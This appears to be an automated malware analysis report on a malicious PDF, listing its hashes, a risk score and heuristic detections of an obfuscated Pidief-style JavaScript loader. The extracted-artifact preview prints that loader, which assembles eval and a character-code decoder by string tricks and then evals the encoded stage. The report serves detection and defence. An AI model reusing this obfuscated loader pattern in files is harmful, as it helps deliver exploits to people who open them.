Malicious PDF — malware analysis report

Static analysis result for SHA-256 8c2fc094e04b1d44…

MALICIOUS

PDF

44.7 KB Authoring application: substr First seen: 2026-05-08
MD5: 6863104ff566555806eb3da4cd0cd747 SHA-1: bffd90d8dde3a2099c2ccc73a2c3900ac4871835 SHA-256: 8c2fc094e04b1d44565db99986b44f4297b28e72ffbf1ba191688d7c0031c514
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFF9 479 bytes
SHA-256: 280ac117da42ab5cd338e4b0581b2ccf7d8997d666cd9a5147fc11c5af37f6d1
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
rjs=e(v[4]+'i'.concat(v[4],t));
q=rjs[v](a.length-7,a.length+1);
d='String';
d+='.fr';
d+='o'+q;
tlx=e(e('d'));
sub=v[0];
sub+='ubject';
q=rjs[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	hhyvb = 1*(q[i]);
	i++;
	hhyvb -= (-1)*(q[i]);
	s2 += tlx(hhyvb);
	i++;
}
e(s2);

Open this report in the interactive analyzer, or submit your own file for analysis.